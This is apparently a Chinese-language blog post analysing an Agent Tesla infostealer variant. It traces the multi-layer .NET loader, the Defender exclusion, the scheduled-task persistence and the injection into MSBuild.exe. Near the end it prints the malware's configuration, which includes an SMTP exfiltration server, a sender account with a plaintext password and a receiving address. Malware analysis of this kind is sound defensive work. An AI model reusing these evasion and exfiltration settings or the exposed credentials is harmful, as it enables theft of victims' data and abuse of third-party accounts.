Agent Tesla变种分析

窃密木马家族 Agent Tesla
编译语言 .NET
首次发现时间 2014年
针对平台 Windows
主要传播方式 网络钓鱼
主要分析对抗技术 载荷混淆、多层载荷加载、进程注入
主要窃取目标 系统数据、浏览器、电子邮件、FTP、VPN、远程连接工具、即时通讯软件、数据库、下载器
其他恶意行为 禁用系统功能、持久化

样本情况

1
2
3
4
5
文件名: SOA MAY.pdf_______________________________________________________________________.exe
大小: 727552 字节
文件版本: 0.0.5.5
MD5: 6A5EDFEDCACD647606F65F573BA88FD5
SHA1: E03491D78351A41011798D2F713A5296DFCC0553
image-20240606150811291

样本释放第一层载荷

获取名为“sahu”的资源对象,解码出RC4密钥“0x44 0x46 0x45 0x47 0x55 0x31 0x35 0x37 0x45 0x34 0x59 0x34 0x38 0x35 0x38 0x45 0x54 0x47 0x35 0x47 0x43 0x35”

使用密钥解码出下一个模块SimpleLogin,该模块为一个.net程序集的PE文件。

image-20240605105053743

image-20240605104740699

通过反射机制获取程序集对象SimpleLogin,并创建Pia4ntb8MiUGvhGsP9.RLhDAEYwfjHvjWVq5a实例。

image-20240605110535460

传递的参数如下

image-20240605143256507

第一层载荷

sleep 10112ms

image-20240605132316724

解压缩名为“zzz”的资源数据

image-20240605133352485

以解压缩的资源数据为对象,加载程序集Gamma(第二层载荷)。并创建指向该数据集中 ReactionDiffusionLib.ReactionVessel 类的对象

image-20240605134348472

调用ReactionDiffusionLib.ReactionVessel类中的CausalitySource方法解出参数Zuob

image-20240605143532924

调用ReactionDiffusionLib.ReactionVessel类中的CausalitySource方法解出参数eir

image-20240605143720424

获取主程序的资源Zuob,并将该图片资源像素点数据转换为字节流

image-20240605150218573

调用ReactionDiffusionLib.ReactionVessel类中的SearchResult方法解码字节流,可以看到解码出的是一个PE程序

image-20240605150521585

加载解码出的程序集Tyrone(第三层载荷)

image-20240605150910447

执行程序集中 T3reatI1l1Onow9d2c.qnY1dVtHD4DbcDHSBN 类的RdihiuuJZA()方法

image-20240605151459824

第三层载荷

创建互斥体,设置守护进程,进程睡眠0x19s

image-20240606100711489

检查进程是否具有管理员权限,如果具有管理员权限,则添加自己为Windows Defender排除项

image-20240606100251936

复制主程序到%AppData%路径下,并设置计划任务实现持久化

image-20240606102043756

异或解码出Tyrone程序集中的 T71qM6HMRpQ 资源,解码后可以看到该资源是一个PE程序

image-20240606133347833

将解码出的PE程序注入MSBuild.exe

image-20240606145228347

Agent Tesla

MD5:3544CB0B8734581E6A729ED85D89D5FA

结束除当前进程外的所有同名进程

image-20240607143632669

初始化,获取一些设备信息,包括计算设备ID、获取设备IP等

image-20240607144026979

获取的设备信息

image-20240607144458892

搜集Firefox、Chrome、Edge等28款浏览器的信息

image-20240611095330611

搜集电子邮件、FTP、VPN、数据库等信息

image-20240611100148680

发送邮件将收集到的信息发送出去

image-20240611102037978

image-20240611101950439

样本部分配置信息如图,可以看出有些功能并未打开,比如键盘记录、屏幕记录、剪切板记录等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static string PcHwid = "";
public static string ThisComputerName = "";
public static string AsmFilePath = "";
public static string PublicIpAddress = "";
public static bool PublicIpAddressGrab = Convert.ToBoolean("true");
public static string IpApi = "https://api.ipify.org";
public static jcSOCBsUWLk.U8lcIO lastInputInf = default(jcSOCBsUWLk.U8lcIO);
public static string PublicUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0";
public static bool PcState = true;
public static string Log_text = "";
public static bool EnableKeylogger = Convert.ToBoolean("false");
public static bool EnableScreenLogger = Convert.ToBoolean("false");
public static bool EnableClipboardLogger = Convert.ToBoolean("false");
public static bool EnableTorPanel = Convert.ToBoolean("false");
public static bool EnableCookies = Convert.ToBoolean("false");
public static bool EnableContacts = Convert.ToBoolean("false");
public static bool DeleteBackspace = Convert.ToBoolean("false");
public static int TorPid = 0;
public static int KeyloggerInterval = Convert.ToInt32("20");
public static int ScreenInterval = Convert.ToInt32("20");
public static int LogType = Convert.ToInt32("1");
public static bool SmtpSSL = Convert.ToBoolean("false");
public static int SmtpPort = Convert.ToInt32("587");
public static bool SmtpAttach = Convert.ToBoolean("false");
public static string SmtpServer = "mail.mayedasselectromech.com";
public static string SmtpSender = "nksharma@mayedasselectromech.com";
public static string SmtpPassword = "India@2014";
public static string SmtpReceiver = "solomonchimaobi709@gmail.com";
public static bool AppAddStartup = Convert.ToBoolean("false");
public static bool HideFileStartup = Convert.ToBoolean("false");
public static string AppStartupFullPath = "";
public static string StartupDirectoryPath = "";
public static string StartupEnvName = "appdata";
public static string StartupDirectoryName = "KRIPvjV";
public static string StartupInstallationName = "KRIPvjV.exe";
public static string StartupRegName = "KRIPvjV";

总结

模块描述 功能描述
主样本 SOA MAY.pdf_______________________________________________________________________.exe 解密资源释放下一层载荷
第一层载荷 SimpleLogin 解密资源释放下一层载荷
第二层载荷 Gamma 提供解密函数
第三层载荷 Tyrone 实现持久化功能等功能,向MSBuild注入playload
注入MSBuild载荷 fa16cf2d-8af2-4e7a-8bd2-d55470e17d2f Agent Tesla

Agent Tesla变种分析
http://wangchenchina.github.io/2024/06/11/Agent-Tesla变种分析/
作者
Demo
发布于
2024年6月11日
许可协议